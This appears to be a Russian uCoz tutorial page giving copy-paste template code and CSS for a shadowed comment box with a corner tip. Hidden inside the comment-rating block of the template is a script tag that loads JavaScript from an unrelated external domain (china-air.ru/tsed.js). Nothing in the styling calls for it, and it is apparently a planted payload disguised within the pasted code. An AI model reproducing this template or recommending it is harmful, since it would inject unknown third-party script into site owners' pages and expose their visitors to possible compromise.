Например: Иконки
Суббота, 18.05.2024, 09:40 Регистрация Карта сайта RSS Лента
Меню сайта
Всё для ucoz Всё для кс 1.6 ПРОГРАММЫ ДЛЯ ПК Онлайн игры Видео ТВ Радио Каталог сайтов Гостевая книга Доска объявлений Форум FAQ (вопрос/ответ) Блог Каталог статей Все игры Alawar Боты для игр Заказ доменов
Чат
Статистика
Гости: Пользователи:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Пользователи онлайн
Никого нет.
Реклама
Страны посетителей

Реклама на сайте

Главная » 2012 » Декабрь » 16 » Новый вид комментария для uCoz с уголком
13:58
Новый вид комментария для uCoz с уголком
[c][/c]Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
Установка:
- заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
ищем код

[code]$COM_BODY$[/code]

и заменяем его на

[code]<ul class="cell_coment">
$COM_BODY$
</ul>[/code]

- теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код

[code]<li>
<div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div>
<div class="coment_info">
<span class="tip"></span>
<div class="coment_os">
<div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>
<div class="coment_message left">$MESSAGE$</div>
<div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div>
</div>
</div>
</li>[/code]

- и прописываем в css следующий код

[code]/* ВИД КОММЕНТАРИЯ
===================================================*/
.cell_coment {
list-style: none;
padding: 0px;
margin: 0px;
}

.cell_coment li {
position: relative;
padding-left: 60px;
width: 500px;
}

.coment_info {
position: relative;
text-align:justify;
color: #555;
background: #fff;
border: 1px solid #C9C9C9;
padding: 10px;
margin-bottom: 30px;
}

.coment_os {
overflow: hidden;
}

.coment_name,
.coment_nomer {
padding-bottom: 5px;
}

.coment_message {
width: 100%;
border-top: 1px solid #C9C9C9;
border-bottom: 1px solid #C9C9C9;
padding: 5px 0px;
}

.coment_rating {
padding-top: 5px;
}

.coment_name,
.coment_nomer,
.coment_rating {
font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;
font-weight: bold;
}

.avatar a:hover,
.avatar {
position: absolute;
height: 45px;
width: 45px;
left: 0;
}

.avatar img {
height: 45px;
width: 45px;
border: none;
}

.tip{
position: absolute;
top: 10px;
left: -7px;
height: 13px;
width: 9px;
background: url("http://www.center-dm.ru/ucoz/vid_coment/fon_ugol.png") no-repeat top left;
}

.coment_info,
.avatar a:hover {
box-shadow: 0px 0px 5px #999;
-moz-box-shadow: 0px 0px 5px #999;
-webkit-box-shadow: 0px 0px 5px #999;
}

.left {float:left;}
.right {float:right;}
.clear {clear:left;}

.coment_rating a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50);}
/* =================================================*/[/code]
Просмотров: 477 | Добавил: startsmart | Рейтинг: 0.0/0 Вернутся
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Реклама на сайте